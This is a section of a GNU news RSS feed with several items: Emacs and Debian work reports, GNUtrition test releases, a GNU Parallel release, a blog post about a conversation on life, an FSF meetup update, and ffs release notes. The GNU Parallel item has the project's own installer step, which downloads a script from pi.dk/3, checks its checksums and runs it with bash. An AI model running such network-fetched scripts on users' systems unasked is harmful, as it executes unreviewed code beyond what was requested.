&lt;li&gt;&lt;a href="https://kelar.org/~bandali/gnu/emacs/ffs-0.2.2.html"&gt;ffs-0.2.2&lt;/a&gt;: I finally polished and published my &lt;code&gt;ffs&lt;/code&gt; package for
GNU Emacs on GNU ELPA.  Many thanks to &lt;a href="https://protesilaos.com"&gt;Protesilaos&lt;/a&gt; for rounds of
code review and feedback for improving and polishing the package
in preparation for submission to GNU ELPA.&lt;/li&gt;

&lt;li&gt;&lt;a href="https://bugs.gnu.org/81101"&gt;bug#81101&lt;/a&gt;: Trying to visit &lt;a href="https://www.emacswiki.org"&gt;https://www.emacswiki.org&lt;/a&gt; in EWW
I noticed it fails with a &lt;code&gt;Somebody wants you to give them money&lt;/code&gt;
error due to the anti-bot challenge being served with a HTTP 402
(Payment Required) response.  So I landed a patch &lt;a href="https://cgit.git.savannah.gnu.org/cgit/emacs.git/commit/?h=emacs-31&amp;amp;id=12eec781ed69c4fc7611e8c9a1953ad33da98a0c"&gt;&lt;code&gt;12eec781ed6&lt;/code&gt;&lt;/a&gt; to
no longer do that.  Thanks to Emacs comaintainer Sean Whitton
for reviewing and approving my proposed patch.&lt;/li&gt;

&lt;li&gt;&lt;a href="https://bugs.gnu.org/81107"&gt;bug#81107&lt;/a&gt;: I noticed that in EWW, unlike &lt;code&gt;&amp;lt;input type="submit"&amp;gt;&lt;/code&gt;
HTML buttons, &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; elements were not tab-stoppable, leading
to poorer usability and accessibility.  So I landed a patch
&lt;a href="https://cgit.git.savannah.gnu.org/cgit/emacs.git/commit/?h=emacs-31&amp;amp;id=ec3d662de0bab08f8b68666d13c662c3193c2645"&gt;&lt;code&gt;ec3d662de0b&lt;/code&gt;&lt;/a&gt; to fix that.  Thanks to Emacs comaintainer Eli
Zaretskii for reviewing, providing feedback, and accepting my
proposed change.&lt;/li&gt;

&lt;li&gt;&lt;a href="https://kelar.org/~bandali/gnu/emacs/emacs-chat-202605.html"&gt;Emacs Chat with Sacha Chua&lt;/a&gt;: I joined Sacha for a &lt;a href="https://sachachua.com/blog/2026/05/emacs-chat-with-amin-bandali/"&gt;new episode&lt;/a&gt; of
her Emacs Chat podcast, where we talked about Emacs and life.
I gave a quick tour of my Emacs configuration, discussing at
length my configurations for EXWM (Emacs X Window Manager) among
other topics like Emacs's facility for visually indicating buffer
boundaries in the fringe by setting &lt;code&gt;indicate-buffer-boundaries&lt;/code&gt;
and my convenience configuration macros.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href="https://www.gnu.org/gnu/gnu-structure.html#assistant-gnuisances"&gt;maintainers@&lt;/a&gt;: I started the next long-overdue round of emails to GNU
package maintainers to confirm the contact information we have on
file for them and get a brief status update about their packages.
Emails are sent in small batches to keep the workload of handling
the responses manageable for assistant GNUisances.&lt;/li&gt;

&lt;li&gt;&lt;a href="https://www.gnu.org/spotlight/spotlight.html"&gt;GNU Spotlight&lt;/a&gt;: I prepared and sent the May GNU Spotlight to the FSF
campaigns team for publication on the FSF's community blog and the
monthly Free Software Supporter newsletter.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section class="outline-2" id="outline-container-debian"&gt;
&lt;h2 id="debian"&gt;Debian&lt;/h2&gt;
&lt;div class="outline-text-2" id="text-debian"&gt;
&lt;p&gt;
I've begun the work toward updating the Jami package in Debian
unstable again, which means I need to package new releases of its
direct and indirect dependencies.  For OpenDHT, I need to update
RESTinio, and to do that I first need to package expected-lite and
sobjectizer for Debian:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;a href="https://bugs.debian.org/1120837"&gt;#1120837&lt;/a&gt;: ITP: expected-lite – expected objects for C++11 and later&lt;/li&gt;

&lt;li&gt;&lt;a href="https://bugs.debian.org/1137609"&gt;#1137609&lt;/a&gt;: ITP: sobjectizer – C++ implementation of Actor,
Publish-Subscribe, and CSP models&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
I've been working on packaging both and hope to have them uploaded to
the archive in the next days and weeks.
&lt;/p&gt;

&lt;p&gt;
That's it for this month's report.
&lt;/p&gt;

&lt;p&gt;
Take care, and so long for now.
&lt;/p&gt;&lt;/div&gt;&lt;/section&gt; </description> 
	<pubDate>Mon, 01 Jun 2026 02:30:00 +0000</pubDate>

</item> 
<item>
	<title>gnutrition @ Savannah: GNUtrition 0.33.0rc4</title>
	<guid>https://savannah.gnu.org/news/?id=10896</guid>
	<link>https://savannah.gnu.org/news/?id=10896</link>
     <description>  &lt;p&gt;A test release of GNUtrition, 0.33.0rc4, is now available.
&lt;br /&gt;

&lt;br /&gt;
GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
&lt;br /&gt;

&lt;br /&gt;
This release improves how user ages are stored and used by GNUtrition. You no longer need to manually update your age every year on (or near) your birthday. Thankfully, no database changes/migrations are necessary for this, you just need to enter your birthday and you will be good to go!
&lt;br /&gt;

&lt;br /&gt;
More information about GNUtrition may be found on its home page at &lt;a href="http://www.gnu.org/software/gnutrition/"&gt;http://www.gnu.or ... tware/gnutrition/&lt;/a&gt;. This test release can be obtained from the alpha.gnu.org server at one of the following:
&lt;br /&gt;

&lt;br /&gt;
    &lt;a href="ftp://alpha.gnu.org/gnu/gnutrition/"&gt;ftp://alpha.gnu.o ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href="http://alpha.gnu.org/gnu/gnutrition/"&gt;http://alpha.gnu. ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href="https://alpha.gnu.org/gnu/gnutrition/"&gt;https://alpha.gnu ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Please report any problems you experience to the GNUtrition bug reports mailing list: &lt;a href="mailto:bug-gnutrition@gnu.org"&gt;bug-gnutrition@gnu.org&lt;/a&gt; (&lt;a href="https://lists.gnu.org/mailman/listinfo/bug-gnutrition"&gt;https://lists.gnu ... fo/bug-gnutrition&lt;/a&gt;).&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 29 May 2026 18:03:17 +0000</pubDate>

</item> 
<item>
	<title>gnutrition @ Savannah: GNUtrition 0.33.0rc3</title>
	<guid>https://savannah.gnu.org/news/?id=10895</guid>
	<link>https://savannah.gnu.org/news/?id=10895</link>
     <description>  &lt;p&gt;A test release of GNUtrition, 0.33.0rc3, is now available.
&lt;br /&gt;

&lt;br /&gt;
GNUtrition is free nutrition analysis software written for the GNU operating system. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
&lt;br /&gt;

&lt;br /&gt;
This release removes a number of dependencies that broke building/installing on various systems. You no longer need to have a full LibreOffice, ncurses, SQLite, or LaTeX/TexInfo install to build and install GNUtrition.
&lt;br /&gt;

&lt;br /&gt;
More information about GNUtrition may be found on its home page at &lt;a href="http://www.gnu.org/software/gnutrition/"&gt;http://www.gnu.or ... tware/gnutrition/&lt;/a&gt;. This test release can be obtained from the alpha.gnu.org server at one of the following:
&lt;br /&gt;

&lt;br /&gt;
    &lt;a href="ftp://alpha.gnu.org/gnu/gnutrition/"&gt;ftp://alpha.gnu.o ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href="http://alpha.gnu.org/gnu/gnutrition/"&gt;http://alpha.gnu. ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;
    &lt;a href="https://alpha.gnu.org/gnu/gnutrition/"&gt;https://alpha.gnu ... g/gnu/gnutrition/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Please report any problems you experience to the GNUtrition bug reports mailing list: &lt;a href="mailto:bug-gnutrition@gnu.org"&gt;bug-gnutrition@gnu.org&lt;/a&gt; (&lt;a href="https://lists.gnu.org/mailman/listinfo/bug-gnutrition"&gt;https://lists.gnu ... fo/bug-gnutrition&lt;/a&gt;).&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 29 May 2026 01:50:47 +0000</pubDate>

</item> 
<item>
	<title>parallel @ Savannah: GNU Parallel 20260522 ('Hantavirus') released</title>
	<guid>https://savannah.gnu.org/news/?id=10894</guid>
	<link>https://savannah.gnu.org/news/?id=10894</link>
     <description>  &lt;p&gt;GNU Parallel 20260522 ('Hantavirus') has been released. It is available for download at: lbry://@GnuParallel:4
&lt;br /&gt;

&lt;br /&gt;
Quote of the month:
&lt;br /&gt;

&lt;br /&gt;
  ...and GNU Parallel is fun.
&lt;br /&gt;
    -- DJviolin@reddit
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;--fast rewritten. 1 million jobs in 10 seconds. Try: seq 1000000 | time parallel --fast echo | wc -l
&lt;/li&gt;
&lt;li&gt;Bug fixes and man page updates.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel - For people who live life in the parallel lane.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Parallel&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
&lt;br /&gt;

&lt;br /&gt;
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
&lt;br /&gt;

&lt;br /&gt;
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
&lt;br /&gt;

&lt;br /&gt;
  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
&lt;br /&gt;

&lt;br /&gt;
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
&lt;br /&gt;

&lt;br /&gt;
  find . -name '*.jpg' |
&lt;br /&gt;
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
&lt;br /&gt;

&lt;br /&gt;
You can find more about GNU Parallel at: &lt;a href="http://www.gnu.org/s/parallel/"&gt;http://www.gnu ... rg/s/parallel/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
You can install GNU Parallel in just 10 seconds with:
&lt;br /&gt;

&lt;br /&gt;
    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
&lt;br /&gt;
       fetch -o - &lt;a href="http://pi.dk/3"&gt;http://pi.dk/3&lt;/a&gt; ) &amp;gt; install.sh
&lt;br /&gt;
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
&lt;br /&gt;
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
&lt;br /&gt;
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
&lt;br /&gt;
    70727536 3428aa9e 9a136b9a 7296dfe4
&lt;br /&gt;
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
&lt;br /&gt;
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
&lt;br /&gt;
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
&lt;br /&gt;
    $ bash install.sh
&lt;br /&gt;

&lt;br /&gt;
Watch the intro video on &lt;a href="http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1"&gt;http://www.youtub ... L284C9FF2488BC6D1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
&lt;br /&gt;

&lt;br /&gt;
When using programs that use GNU Parallel to process data for publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2018): GNU Parallel 2018, March 2018, &lt;a href="https://doi.org/10.5281/zenodo.1146014"&gt;https://doi.org/1 ... 81/zenodo.1146014&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give a demo at your local user group/team/colleagues
&lt;/li&gt;
&lt;li&gt;Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
&lt;/li&gt;
&lt;li&gt;Get the merchandise &lt;a href="https://gnuparallel.threadless.com/designs/gnu-parallel"&gt;https://gnuparall ... igns/gnu-parallel&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Request or write a review for your favourite blog or magazine
&lt;/li&gt;
&lt;li&gt;Request or build a package for your favourite distribution (if it is not already there)
&lt;/li&gt;
&lt;li&gt;Invite me for your next conference
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If you use programs that use GNU Parallel for research:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Please cite GNU Parallel in you publications (use --citation)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If GNU Parallel saves you money:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Have your company) donate to FSF &lt;a href="https://my.fsf.org/donate/"&gt;https://my.f ... .org/donate/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU SQL&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
&lt;br /&gt;

&lt;br /&gt;
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
&lt;br /&gt;

&lt;br /&gt;
When using GNU SQL for a publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Niceload&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Tue, 26 May 2026 20:55:29 +0000</pubDate>

</item> 
<item>
	<title>Amin Bandali: Thinking about life - chat with Protesilaos</title>
	<guid>tag:kelar.org,2026:~bandali/rss20.xml:life/thinking-with-prot</guid>
	<link>https://kelar.org/~bandali/life/thinking-with-prot.html</link>
     <description>  &lt;p&gt;
In the recent weeks I've been engaging &lt;a href="https://protesilaos.com/coach/"&gt;Prot as a coach&lt;/a&gt; to help review
my &lt;a href="https://kelar.org/~bandali/gnu/emacs/ffs-0.2.2.html"&gt;new &lt;code&gt;ffs&lt;/code&gt; package for GNU Emacs&lt;/a&gt; as I worked on preparing it for
inclusion in GNU ELPA, as well as discussing other Emacs- and
life-related topics.
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;UPDATE 2026-05-23 22:39:15 -0400:&lt;/b&gt; Prot also published an article
about our session on his website:
&lt;a href="https://protesilaos.com/commentary/2026-05-23-life-issues-and-philosophy-amin-bandali/"&gt;https://protesilaos.com/commentary/2026-05-23-life-issues-and-philosophy-amin-bandali/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
In our nearly 2-hour conversation, we discussed at length and in depth
various aspects of life in the current times.  For instance, feeling
overwhelmed in the face of innumerable things happening at once, with
technology changing our perception and making events feel proximate
and imminent.
&lt;/p&gt;

&lt;p&gt;
We talked about seasonality and rhythms in life, including in relation
to burnout and knowing our own limitations, and descriptive vs
prescriptive thinking when reflecting on the expectations we may place
on our self when comparing our self to others through the lens of our
necessarily-incomplete impressions and glimpses of their lives.  We
discussed absence or loss as a dual to presence or persistence in the
process of life.  How with our memories and through embodying the
philosophy and teachings of departed loved ones their essence and
legacy continues to live on within us.  But also loss in the sense of
us losing parts of our self in life-defining moments while preserving
other parts and gaining new ones, being liberated of some of the
burdens of our past self and in effect becoming someone else in the
process.
&lt;/p&gt;

&lt;p&gt;
In being true to our self, we talked about humans as multi-faceted
beings and the importance of expressing and giving a voice to these
different aspects of our self, and keeping alive that child-like
sense of awe and wonder.  To live a life where the pace and rhythms of
our environment are in sync with our internal rhythms, and to not give
others undue power over us or our happiness through trying to live
according to their prescribed standards or expectations.
&lt;/p&gt;

&lt;p&gt;
I also learned more about Prot's practical philosophy of situational
awareness in life, not merely as a means for survival, but also as a
way of appreciating all of the beauty that surrounds us, and a method
for gaining the knowledge and skills to apply what we learn from
patterns in one area of life to other areas.
&lt;/p&gt;

&lt;p&gt;
We concluded our session with a mention to the concept of sanctity, to
set aside a sacred time or place for our self wherein no distractions
are allowed, where we can unwind, rest, and recharge for whatever
comes next.
&lt;/p&gt;

&lt;p&gt;
Here is the video recording of our session, which I share with Prot's
permission:
&lt;/p&gt;

&lt;video controls="" id="org4816dcc" poster="https://kelar.org/~bandali/life/thinking-with-prot-poster.jpg" preload="metadata" src="https://archive.org/download/thinking-life-prot-20260521/thinking-life-prot-20260521.mp4" width="720"&gt;
&lt;source src="https://archive.org/download/thinking-life-prot-20260521/thinking-life-prot-20260521.mp4" type="video/mp4" /&gt;
&lt;p&gt;
Sorry, this embedded video will not work,
because your web browser does not support HTML5 video.&lt;br /&gt;
&lt;a href="https://archive.org/download/thinking-life-prot-20260521/thinking-life-prot-20260521.mp4"&gt;[ please watch the video in your favourite streaming media player ]â€‹&lt;/a&gt;
&lt;/p&gt;
&lt;/video&gt;

&lt;p&gt;
You can &lt;a href="https://archive.org/details/thinking-life-prot-20260521"&gt;view&lt;/a&gt; or &lt;a href="https://archive.org/download/thinking-life-prot-20260521/thinking-life-prot-20260521.mp4"&gt;download the full-resolution video&lt;/a&gt; from the Internet
Archive.
&lt;/p&gt;

&lt;p&gt;
Like Prot, I am invigorated and inspired to live a full, honest life.
To do my best, do what I do in earnest, and make the best of what I
have.
&lt;/p&gt;

&lt;p&gt;
Take care, and so long for now.
&lt;/p&gt; </description> 
	<pubDate>Sun, 24 May 2026 02:39:15 +0000</pubDate>

</item> 
<item>
	<title>FSF News: Forty-six free software meetups on six continents</title>
	<guid>http://www.fsf.org/news/2026-librelocal-meetup-update</guid>
	<link>http://www.fsf.org/news/2026-librelocal-meetup-update</link>
     <description>  BOSTON, Massachusetts, USA (Tuesday, May 19, 2026) â€” The Free 
Software Foundation (FSF) reports that its global call for free 
software supporters to organize LibreLocals this May resulted in free 
software supporters organizing forty-six LibreLocal events on six 
continents thus far. New dates and locations are being added daily. </description> 
	<pubDate>Fri, 22 May 2026 20:14:22 +0000</pubDate>

</item> 
<item>
	<title>Amin Bandali: ffs 0.2.2 released</title>
	<guid>tag:kelar.org,2026:~bandali/rss20.xml:gnu/emacs/ffs-0.2.2</guid>
	<link>https://kelar.org/~bandali/gnu/emacs/ffs-0.2.2.html</link>
     <description>  &lt;p&gt;
&lt;code&gt;ffs&lt;/code&gt; provides a minor mode for simple plain text presentations in
Emacs, where the slides are separated using the &lt;code&gt;page-delimiter&lt;/code&gt;, by
default the form feed character (&lt;code&gt;^L&lt;/code&gt;).
&lt;/p&gt;

&lt;p&gt;
I wrote &lt;code&gt;ffs&lt;/code&gt; in early 2022 for my LibrePlanet 2022 presentation &lt;a href="https://kelar.org/~bandali/essays/net-beyond-web.html"&gt;the
Net beyond the Web&lt;/a&gt;, and earlier this year decided to polish it towards
being a proper package and submit it to GNU ELPA.  The manual still
needs some more work, but the overall package is in pretty good shape
so I submitted for inclusion in GNU ELPA.
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Package name (GNU ELPA): &lt;a href="https://elpa.gnu.org/packages/ffs.html"&gt;&lt;code&gt;ffs&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Official manual: &lt;a href="https://kelar.org/~bandali/gnu/emacs/ffs.html"&gt;https://kelar.org/~bandali/gnu/emacs/ffs.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Change log: &lt;a href="https://kelar.org/~bandali/gnu/emacs/ffs-changelog.html"&gt;https://kelar.org/~bandali/gnu/emacs/ffs-changelog.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Git repository: &lt;a href="https://git.kelar.org/~bandali/ffs"&gt;https://git.kelar.org/~bandali/ffs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Backronyms: fabulous foolproof slides - for freedom's sake -
ffs flips slides&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;code&gt;ffs&lt;/code&gt; and I owe a debt of gratitude to Protesilaos for rounds of
code review and feedback for improving and polishing the package in
preparation for submission to GNU ELPA.  You can watch videos of these
sessions posted earlier on my website:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;a href="https://kelar.org/~bandali/gnu/emacs/ffs-code-review-prot.html"&gt;FFS code review with Protesilaos&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kelar.org/~bandali/gnu/emacs/ffs-emacs-ext-prot.html"&gt;FFS code review and Emacs extensibility with Protesilaos&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Further, inspiration for parts of &lt;code&gt;ffs&lt;/code&gt;'s implementation was
gratefully drawn from Protesilaos's &lt;a href="https://protesilaos.com/emacs/logos"&gt;Logos&lt;/a&gt; package for Emacs.
&lt;/p&gt;

&lt;p&gt;
Dedicated to the loving memory of &lt;a href="https://kelar.org/~bandali/life/farangis.html"&gt;Farangis Yousefinia&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
Below are the release notes.
&lt;/p&gt;

&lt;hr /&gt;
&lt;section class="outline-2" id="outline-container-ffs-0.2.2"&gt;
&lt;h2 id="ffs-0.2.2"&gt;Version 0.2.2 on 2026-05-21&lt;/h2&gt;
&lt;div class="outline-text-2" id="text-ffs-0.2.2"&gt;
&lt;p&gt;
First release of &lt;code&gt;ffs&lt;/code&gt; on GNU ELPA.
&lt;/p&gt;

&lt;p&gt;
The attempted build of ffs 0.2.1 within GNU ELPA build sandbox failed
with an &lt;code&gt;Error: void-function (org-texinfo-kbd-macro)&lt;/code&gt; due to use of
&lt;code&gt;#+macro: kbd (eval (org-texinfo-kbd-macro $1))&lt;/code&gt; in ffs.org for better
formatting of key sequences in the exported Texinfo copy.  This seems
to have happened for the specific case of generating a plain text
README using &lt;code&gt;ox-ascii&lt;/code&gt; where ELPA didn't load &lt;code&gt;ox-texinfo&lt;/code&gt;.  To try
and mitigate this, a &lt;code&gt;README.md&lt;/code&gt; has been added for use as the package
README instead of ffs.org.  If not sufficient, a Texinfo copy of the
ffs manual will be shipped instead of the Org one in the next release.
&lt;/p&gt;

&lt;p&gt;
ffs 0.2.2 also includes small fixes and improvements throughout
&lt;code&gt;ffs.el&lt;/code&gt; from Stefan Monnier, and additional feedback to be addressed
in future releases.
&lt;/p&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section class="outline-2" id="outline-container-ffs-0.2.1"&gt;
&lt;h2 id="ffs-0.2.1"&gt;Version 0.2.1 on 2026-05-20&lt;/h2&gt;
&lt;div class="outline-text-2" id="text-ffs-0.2.1"&gt;
&lt;p&gt;
The attempted build of ffs 0.2.0 within GNU ELPA build sandbox failed
with a "Cannot include file" error on the "#+include: fdl.org" in the
manual.  So, as a workaround, we switch to using the official Texinfo
copy of the GNU FDL license rather than an Org copy.
&lt;/p&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section class="outline-2" id="outline-container-ffs-0.2.0"&gt;
&lt;h2 id="ffs-0.2.0"&gt;Version 0.2.0 on 2026-05-19&lt;/h2&gt;
&lt;div class="outline-text-2" id="text-ffs-0.2.0"&gt;
&lt;p&gt;
First release of &lt;code&gt;ffs&lt;/code&gt; intended for GNU ELPA.
&lt;/p&gt;

&lt;p&gt;
After a few years of inactivity, in early 2026 I decided to dust off
&lt;code&gt;ffs.el&lt;/code&gt;, polish and document it, and offer for inclusion in GNU ELPA
as a proper package.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-3" id="outline-container-ffs-0.2.0-ffs-default-face-height"&gt;
&lt;h3 id="ffs-0.2.0-ffs-default-face-height"&gt;Default value of &lt;code&gt;ffs-default-face-height&lt;/code&gt; changed to nil&lt;/h3&gt;
&lt;div class="outline-text-3" id="text-ffs-0.2.0-ffs-default-face-height"&gt;
&lt;p&gt;
To minimize unexpected and/or unnecessary changes out-of-the-box, the
default value of &lt;code&gt;ffs-default-face-height&lt;/code&gt; has been changed to nil.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-3" id="outline-container-ffs-0.2.0-ffs-edit-buffer-name"&gt;
&lt;h3 id="ffs-0.2.0-ffs-edit-buffer-name"&gt;&lt;code&gt;ffs-edit-buffer-name&lt;/code&gt; demoted from user option to variable&lt;/h3&gt;
&lt;div class="outline-text-3" id="text-ffs-0.2.0-ffs-edit-buffer-name"&gt;
&lt;p&gt;
This is not an important user-facing setting, so to help avoid
overwhelming users with many options, this has been demoted from a
user option to a variable.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-3" id="outline-container-ffs-0.2.0-new-user-options"&gt;
&lt;h3 id="ffs-0.2.0-new-user-options"&gt;Several new user options for customizing &lt;code&gt;ffs&lt;/code&gt;'s behaviour&lt;/h3&gt;
&lt;div class="outline-text-3" id="text-ffs-0.2.0-new-user-options"&gt;
&lt;p&gt;
As part of the effort to bring &lt;code&gt;ffs&lt;/code&gt; more in line with the conventions
of other existing Emacs packages, the mechanisms for toggling various
parts of Emacs's interface to minimize visual clutter were changed
from being minor modes to being customizable user options.  These are
the replacement new user options, with a default value of nil:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;code&gt;ffs-hide-cursor&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ffs-hide-mode-line&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ffs-hide-header-line&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Their value is buffer-local, and may be set globally using
&lt;code&gt;setq-default&lt;/code&gt;.  See the &lt;a href="https://kelar.org/~bandali/gnu/emacs/ffs.html#Sample-configuration"&gt;sample configuration&lt;/a&gt; in the manual for an
example of how to customize them.
&lt;/p&gt;

&lt;p&gt;
The new &lt;code&gt;ffs-page-delimiter&lt;/code&gt; user option defines the page delimiter
inserted by &lt;code&gt;ffs-edit-done&lt;/code&gt; when inserting a new slide.  Emacs's
&lt;code&gt;page-delimiter&lt;/code&gt; regexp should be able to match &lt;code&gt;ffs-page-delimiter&lt;/code&gt;'s
value, so if you use a custom &lt;code&gt;page-delimiter&lt;/code&gt; be sure to customize
&lt;code&gt;ffs-page-delimiter&lt;/code&gt; accordingly.
&lt;/p&gt;

&lt;p&gt;
The new &lt;code&gt;ffs-echo-progress&lt;/code&gt; user option controls whether to display in
echo area the progress through the slides.  When non-nil, changing
slides will also display the progress through the slides in the echo
area.  The format of the displayed progress can be customized using
the new &lt;code&gt;ffs-echo-progress-format&lt;/code&gt; user option.
&lt;/p&gt;

&lt;p&gt;
The new &lt;code&gt;ffs-edit-display-buffer-alist&lt;/code&gt; user option may be used to
control the Window configuration for the &lt;code&gt;ffs-edit&lt;/code&gt; buffer.  By
default, it will display the &lt;code&gt;ffs-edit&lt;/code&gt; buffer in the same window.
&lt;/p&gt;

&lt;p&gt;
The new &lt;code&gt;ffs-edit-done-hook&lt;/code&gt; user option may be used to define hooks
to be run at the end of &lt;code&gt;ffs-edit-done&lt;/code&gt; after returning to the main
&lt;code&gt;ffs&lt;/code&gt; presentation buffer.
&lt;/p&gt;

&lt;p&gt;
Lastly, a new &lt;code&gt;ffs-find-speaker-notes-function&lt;/code&gt; variable was added to
allow customizing the find function used for opening the speaker's
notes file, defaulting to &lt;code&gt;find-file-other-frame&lt;/code&gt;.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section class="outline-2" id="outline-container-ffs-0.1.0"&gt;
&lt;h2 id="ffs-0.1.0"&gt;Version 0.1.0 on 2022-05-19&lt;/h2&gt;
&lt;div class="outline-text-2" id="text-ffs-0.1.0"&gt;
&lt;p&gt;
Initial publication of &lt;code&gt;ffs.el&lt;/code&gt; as part of my personal configurations
for GNU Emacs.
&lt;/p&gt;

&lt;p&gt;
My first attempt at this concept was a now-archived &lt;a href="https://git.kelar.org/~bandali/ffs/tree/ffsanim.el?id=aed420fca1af108e023eabf2b527850b559cd24c"&gt;&lt;code&gt;ffsanim.el&lt;/code&gt;&lt;/a&gt;,
a major mode implementation that used Emacs's &lt;code&gt;animate&lt;/code&gt; library to
